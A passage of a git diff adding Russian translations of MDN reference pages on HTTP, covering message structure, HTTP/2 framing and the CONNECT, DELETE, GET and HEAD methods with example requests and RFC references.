+ <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP-сообщения (HTTP Messages)</a></dt>
+ <dd>Описывает тип и структуру разных видов сообщений HTTP/1.x и HTTP/2.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Session">Обычный сеанс HTTP</a></dt>
+ <dd>Показывает и описывает течение обычного сеанса HTTP.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Управление подключениями в HTTP/1.x</a></dt>
+ <dd>Описывает три модели управления подключениями, доступными в HTTP/1.x, их сильные и слабые стороны.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Controlling_DNS_prefetching">Контроль предварительной загрузки DNS (Controlling DNS prefetching)</a></dt>
+ <dd>Firefox, как и большинство других браузеров, выполняет <strong>предварительную загрузку DNS (DNS prefetching)</strong>. Это действие, когда браузеры превентивно выполняют разрешение доменных имён (получают имена доменов) для ссылок, по которым пользователь может перейти, а также для ссылок на ресурсы, такие как картинки, CSS,  JavaScript. Эта предварительная загрузка выполняется в фоновом режиме, так что вполне вероятно, что к моменту обращения к объектам в документе DNS уже получен. Это уменьшает задержки, когда, например, пользователь кликает на ссылку.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Справочники">Справочники</h2>
+
+<p>Глубже изучите HTTP с помощью справочников и документации.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP-заголовки (HTTP Headers)</a></dt>
+ <dd>Заголовки HTTP-сообщения используются для точного описания загружаемого ресурса или поведения сервера или клиента. Пользовательские заголовки можно добавить, используя <code>X-</code> префикс; другие перечислены в  <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html" title="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, содержание которого в свою очередь определено в <a class="external" href="http://tools.ietf.org/html/rfc4229" title="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA так же поддерживает <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html" title="http://www.iana.org/assignments/message-headers/prov-headers.html">регистр предложенных новых HTTP-заголовков</a>.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Methods">Методы HTTP-запроса</a></dt>
+ <dd>Различные операции, которые выполняются с HTTP:
+ <ul>
+ <li>{{HTTPMethod("GET")}}</li>
+ <li>{{HTTPMethod("POST")}}</li>
+ <li>{{HTTPMethod("OPTIONS")}}</li>
+ <li>{{HTTPMethod("DELETE")}}</li>
+ <li>{{HTTPMethod("TRACE")}}</li>
+ <li>{{HTTPMethod("PATCH")}}</li>
+ <li>другие</li>
+ </ul>
+ <span style="display: none;"> </span><span style="display: none;"> </span></dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Status">Коды ответа (HTTP response codes)</a></dt>
+ <dd>Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Директивы CSP</a></dt>
+ <dd>Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.</dd>
+</dl>
+
+<h2 id="Инструменты_и_ресурсы">Инструменты и ресурсы</h2>
+
+<p>Полезные инструменты и ресурсы для понимания и отладки HTTP.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Tools">Инструменты разработчика Firefox</a></dt>
+ <dd><a href="/ru/docs/Tools/Network_Monitor">Сетевой монитор</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>Проект, созданный в помощь разработчикам, системным администраторам и специалистам по безопасности для создания безопасных и надёжных сайтов.</dd>
+ <dt><a href="https://redbot.org/">RedBot</a></dt>
+ <dd>Инструмент для проверки кэширования заголовков.</dd>
+ <dt><a href="http://www.html5rocks.com/ru/tutorials/internals/howbrowserswork/">Принципы работы современных веб-браузеров</a></dt>
+ <dd>Комплексная статья по внутренностям браузеров и потоку запросов через протокол HTTP. Это нужно понимать всем веб-разработчикам.</dd>
+</dl>
+</div>
+</div>
+
+<h2 class="Community" id="Community" name="Community">См. также</h2>
+
+<ul>
+ <li><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></li>
+ <li><a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">HTTP pipelining FAQ</a></li>
+ <li><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP заголовки</a></li>
+ <li><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Basic access authentication</a></li>
+ <li><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/HTTP"} ) }}</p>
diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html
new file mode 100644
index 0000000000..0aa51b52a1
--- /dev/null
+++ b/files/ru/web/http/messages/index.html
@@ -0,0 +1,147 @@
+---
+title: Сообщения HTTP
+slug: Web/HTTP/Messages
+tags:
+ - HTTP
+ - ВебМеханика
+ - Руководство
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP сообщения - это обмен данными между сервером и клиентом. Есть два типа сообщений: <em><strong>запросы</strong></em>, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера, и <em><strong>ответы </strong></em>от сервера.</p>
+
+<p>Сообщения HTTP состоят из текстовой информации в кодировке ASCII, записанной в несколько строк. В HTTP/1.1 и более ранних версиях они пересылались в качестве обычного текста. В HTTP/2 текстовое сообщение разделяется на фреймы, что позволяет выполнить оптимизацию и повысить производительность.</p>
+
+<p>Веб разработчики  не создают текстовые сообщения HTTP самостоятельно - это делает программа, браузер, прокси или веб-сервер. Они обеспечивают создание HTTP сообщений через конфигурационные файлы (для прокси и серверов), APIs (для браузеров) или другие интерфейсы.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>Механизм бинарного фрагментирования в HTTP/2 разработан так, чтобы не потребовалось вносить изменения в имеющиеся APIs и конфигурационные файлы: он вполне прозрачен для пользователя.</p>
+
+<p>HTTP запросы и ответы имеют близкую структуру. Они состоят из:</p>
+
+<ol>
+ <li>Стартовой строки, описывающей запрос, или статус (успех или сбой). Это всегда одна строка.</li>
+ <li>Произвольного набора <em>HTTP заголовков,</em> определяющих запрос или описывающих тело сообщения.</li>
+ <li>Пустой строки, указывающей, что вся мета информация отправлена.</li>
+ <li>Произвольного тела, содержащего пересылаемые с запросом данные (например, содержимое HTML-формы ) или отправляемый в ответ документ. Наличие тела и его размер определяется стартовой строкой и заголовками HTTP.</li>
+</ol>
+
+<p>Стартовую строку вместе с заголовками сообщения HTTP называют <em>головой</em> запроса, а его данные - <em>телом</em>.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="Запросы_HTTP">Запросы HTTP</h2>
+
+<h3 id="Стартовая_строка">Стартовая строка</h3>
+
+<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:</p>
+
+<ol>
+ <li>
+ <p><em><a href="/ru/docs/Web/HTTP/Methods">Метод HTTP</a></em>, глагол (например, {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}}) или существительное (например,  {{HTTPMethod("HEAD")}} или {{HTTPMethod("OPTIONS")}}), описывающие требуемое действие. Например, <code>GET</code> указывает, что нужно доставить некоторый ресурс, а <code>POST</code> означает отправку данных на сервер (для создания или модификации ресурса, или генерации возвращаемого документа).</p>
+ </li>
+ <li><em>Цель запроса</em>, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть
+ <ul>
+ <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространенная форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br>
+ <code>POST / HTTP 1.1<br>
+ GET /background.png HTTP/1.0<br>
+ HEAD /test.html?query=alibaba HTTP/1.1<br>
+ OPTIONS /anypage.html HTTP/1.0</code></li>
+ <li>Полный URL<em> - абсолютная форма</em> (<em>absolute form</em>) , обычно используется с <code>GET</code> при подключении к прокси.<br>
+ <code>GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+ <li>Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом <code>':'</code>), <em>называется authority form</em>. Используется только с методом <code>CONNECT</code> при установке туннеля HTTP.<br>
+ <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+ <li>Форма звездочки (<em>asterisk form)</em>, просто "звездочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br>
+ <code>OPTIONS * HTTP/1.1</code></li>
+ </ul>
+ </li>
+ <li><em>Версия HTTP</em>, определяющая структуру оставшегося сообщения, указывая, какую версию предполагается использовать для ответа.</li>
+</ol>
+
+<h3 id="Заголовки">Заголовки</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Headers">Заголовки запроса HTTP</a> имеют стандартную для заголовка HTTP структуру: не зависящая от регистра строка, завершаемая (<code>':'</code>) и значение, структура которого определяется заголовком. Весь заголовок, включая значение, представляет собой одну строку, которая может быть довольно длинной.</p>
+
+<p>Существует множество заголовков запроса. Их можно разделить на несколько групп:</p>
+
+<ul>
+ <li><em>Основные заголовки (General headers</em>), например, {{HTTPHeader("Via")}},  относящиеся к сообщению в целом</li>
+ <li><em>Заголовки запроса (Request headers</em>), например, {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, уточняющие запрос (как, например, {{HTTPHeader("Accept-Language")}}), придающие контекст (как {{HTTPHeader("Referer")}}), или накладывающие ограничения на условия (like {{HTTPHeader("If-None")}}).</li>
+ <li><em>Заголовки сущности</em>, например {{HTTPHeader("Content-Length")}}, относящиеся к телу сообщения. Как легко понять, они отсутствуют, если у запроса нет тела.</li>
+ <li><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></li>
+</ul>
+
+
+
+<h3 id="Тело">Тело</h3>
+
+<p>Последней частью запроса является его тело. Оно бывает не у всех запросов: запросы, собирающие (fetching) ресурсы, такие как <code>GET</code>, <code>HEAD</code>, <code>DELETE</code>, или <code>OPTIONS</code>, в нем обычно не нуждаются. Но некоторые запросы отправляют на сервер данные для обновления, как это часто бывает с запросами <code>POST</code> (содержащими данные HTML-форм).</p>
+
+<p>Тела можно грубо разделить на две категории:</p>
+
+<ul>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из одного отдельного файла, определяемого двумя заголовками: {{HTTPHeader("Content-Type")}} и {{HTTPHeader("Content-Length")}}.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Многоресурсные тела (Multiple-resource bodies</a>), состоящие из множества частей, каждая из которых содержит свой бит информации. Они обычно связаны с <a href="/ru/docs/Web/Guide/HTML/Forms">HTML-формами </a>.</li>
+</ul>
+
+<h2 id="Ответы_HTTP">Ответы HTTP</h2>
+
+<h3 id="Строка_статуса_Status_line">Строка статуса (Status line)</h3>
+
+<p>Стартовая строка ответа HTTP, называемая строкой статуса, содержит следующую информацию:</p>
+
+<ol>
+ <li><em>Версию протокола</em>, <code>обычно HTTP/1.1</code>.</li>
+ <li><em>Код состояния (status code)</em>, показывающая, был ли запрос успешным. Примеры: {{HTTPStatus("200")}}, {{HTTPStatus("404")}} или {{HTTPStatus("302")}}</li>
+ <li><em>Пояснение (status text</em>). Краткое текстовое описание кода состояния, помогающее пользователю понять сообщение HTTP..</li>
+</ol>
+
+<p>Пример строки статуса: <code>HTTP/1.1 404 Not Found.</code></p>
+
+<h3 id="Заголовки_2">Заголовки</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Headers">Заголовки ответов HTTP</a> имеют ту же структуру, что и все остальные заголовки: не зависящая от регистра строка, завершаемая двоеточием (<code>':'</code>) и значение, структура которого определяется типом заголовка. Весь заголовок, включая значение, представляет собой одну строку.</p>
+
+<p>Существует множество заголовков ответов. Их можно разделить на несколько групп:</p>
+
+<ul>
+ <li><em>Основные заголовки (General headers</em>), например, {{HTTPHeader("Via")}},  относящиеся к сообщению в целом.</li>
+ <li><em>Заголовки ответа (Response headers</em>), например, {{HTTPHeader("Vary")}} и {{HTTPHeader("Accept-Ranges")}}, сообщающие дополнительную информацию о сервере, которая не уместилась в строку состояния.</li>
+ <li><em>Заголовки сущности (Entity headers</em>), например, {{HTTPHeader("Content-Length")}}, относящиеся к телу ответа. Отсутствуют, если у запроса нет тела.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="Тело_2">Тело</h3>
+
+<p>Последней частью ответа является его тело. Оно есть не у всех ответов: у ответов с кодом состояния, например, {{HTTPStatus("201")}} или {{HTTPStatus("204")}}, оно обычно отсутствует.</p>
+
+<p>Тела можно разделить на три категории:</p>
+
+<ul>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла известной длины, определяемые двумя заголовками: {{HTTPHeader("Content-Type")}} и {{HTTPHeader("Content-Length")}}.</li>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла неизвестной длины, разбитого на небольшие части (chunks) с заголовком {{HTTPHeader("Transfer-Encoding")}}, значением которого  является <code>chunked</code>.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Многоресурсные тела (Multiple-resource bodies)</a>, состоящие из многокомпонентного тела, каждая часть которого содержит свой сегмент информации. Они относительно редки.</li>
+</ul>
+
+<h2 id="Фреймы_HTTP2">Фреймы HTTP/2</h2>
+
+<p>Сообщения HTTP/1.x имеют несколько недостатков в отношении производительности:</p>
+
+<ul>
+ <li>Заголовки, в отличие от тел, не сжимаются.</li>
+ <li>Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.</li>
+ <li>Мультиплекстность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединеня TCP эффективнее холодных (cold).</li>
+</ul>
+
+<p>HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
+<p>Фреймы HTTP сейчас прозрачны для веб-разработчиков. Это дополнительный шаг, который HTTP/2 делает по отношению к сообщениям HTTP/1.1 и лежащему в основе транспортному протоколу. Для реализации фреймов HTTP веб-разработчикам не требуется вносить изменения в имеющиеся APIs; если HTTP/2 доступен и на сервере, и на клиенте, он включается и используется.</p>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.</p>
diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..755ffb6f10
--- /dev/null
+++ b/files/ru/web/http/methods/connect/index.html
@@ -0,0 +1,82 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>CONNECT</code> method</strong> <span id="result_box" lang="ru"><span>запускает двустороннюю связь с запрошенным ресурсом.</span> <span>Метод можно использовать для открытия туннеля</span></span>.</p>
+
+<p>К примеру, метод CONNECT может использоваться для доступа к сайту, который использует {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Клиент <span id="result_box" lang="ru"><span>запрашивает HTTP-прокси-сервер для туннелирования TCP-соединения с желаемым назначением</span></span>. За тем сервер <span id="result_box" lang="ru"><span>переходит к подключению от имени клиента.</span> <span>После того, как соединение установлено сервером, прокси-сервер продолжает проксировать поток TCP к клиенту и от него.</span></span></p>
+
+<p><code>CONNECT</code> is a hop-by-hop method.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Идемпотентный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Некоторые прокси сервера могут запросить авторизацию для создания туннеля. Смотрите так же {{HTTPHeader("Proxy-Authorization")}}.</p>
+
+<pre class="line-numbers language-html notranslate">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузером</span></span></h2>
+
+<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html
new file mode 100644
index 0000000000..e263d3c2e0
--- /dev/null
+++ b/files/ru/web/http/methods/delete/index.html
@@ -0,0 +1,101 @@
+---
+title: DELETE
+slug: Web/HTTP/Methods/DELETE
+tags:
+ - HTTP
+ - HTTP методы
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/DELETE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Метод запроса HTTP DELETE</strong> удаляет указанный ресурс.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Может</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Может</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe","Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent","Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable","Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">DELETE /file.html HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre>DELETE /file.html HTTP/1.1</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Если метод <code>DELETE</code> успешно выполняется, то возможны следующие коды состояния ответа:</p>
+
+<ul>
+ <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но еще не выполнено.</li>
+ <li> {{HTTPStatus("204")}} (<code>No Content</code>) код ответа, если удаление было выполнено, но тело ответа отсутствует.</li>
+ <li> {{HTTPStatus("200")}} (<code>OK</code>) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.</li>
+</ul>
+
+<pre>HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+&lt;html&gt;
+ &lt;body&gt;
+ &lt;h1&gt;File deleted.&lt;/h1&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "DELETE", "4.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.DELETE")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/get/index.html b/files/ru/web/http/methods/get/index.html
new file mode 100644
index 0000000000..e2601b1361
--- /dev/null
+++ b/files/ru/web/http/methods/get/index.html
@@ -0,0 +1,75 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+tags:
+ - HTTP
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>GET</code></strong> запрашивает представление указанного ресурса. <code>GET</code>-запросы должны только получать данные.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8">HTTP Заголовки</a></li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li><a href="/ru/docs/Web/HTTP/Methods/POST">POST</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/head/index.html b/files/ru/web/http/methods/head/index.html
new file mode 100644
index 0000000000..13bfe278a6
--- /dev/null
+++ b/files/ru/web/http/methods/head/index.html
@@ -0,0 +1,77 @@
+---
+title: HEAD
+slug: Web/HTTP/Methods/HEAD
+tags:
+ - HTTP
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/HEAD
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>HEAD</code></strong> запрашивает заголовки, идентичные тем, что возвращаются, если указанный ресурс будет запрошен с помощью HTTP-метода {{HTTPMethod("GET")}}. Такой запрос может быть выполнен перед загрузкой большого ресурса, например, для экономии пропускной способности.</p>
+
+<p>Ответ на метод <code>HEAD</code> не должен содержать тело. Если это не так, то его следует игнорировать. Но даже в этом случае {{glossary("Entity header", "заголовки сущности")}}, описывающие содержимое тела, например {{HTTPHeader("Content-Length")}}, должны быть включены в ответ. Они не относятся к телу ответа на запрос <code>HEAD</code>, которое должно быть пустым, они относятся к телу ответа, полученный на аналогичный запрос с помощью метода {{HTTPMethod("GET")}}.</p>
+
+<p>Если результат запроса <code>HEAD</code> показывает, что кешированный после запроса {{HTTPMethod("GET")}} ресурс устарел, то кеш становится недействительным, даже если запрос <code>GET</code> не был сделан.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">HEAD /index.html
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "HEAD", "4.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.HEAD")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/index.html b/files/ru/web/http/methods/index.html
new file mode 100644
index 0000000000..67369bdad6
--- /dev/null
+++ b/files/ru/web/http/methods/index.html
@@ -0,0 +1,73 @@
+---
+title: Методы HTTP запроса
+slug: Web/HTTP/Methods
+tags:
+ - HTTP
+ - Methods
+ - Reference
+translation_of: Web/HTTP/Methods
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP определяет множество <strong>методов запроса</strong>, которые указывают, какое желаемое действие выполнится для данного ресурса. Несмотря на то, что их названия могут быть существительными, эти методы запроса иногда называются <em>HTTP глаголами</em>. Каждый реализует свою семантику, но каждая группа команд разделяет общие свойства: так, методы могут быть {{glossary("safe", "безопасными")}}, {{glossary("idempotent", "идемпотентными")}} или {{glossary("cacheable", "кэшируемыми")}}.</p>
+
+<dl>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/GET">GET</a></code></dt>
+ <dd>Метод <code>GET</code> запрашивает представление ресурса. Запросы с использованием этого метода могут только извлекать данные.</dd>
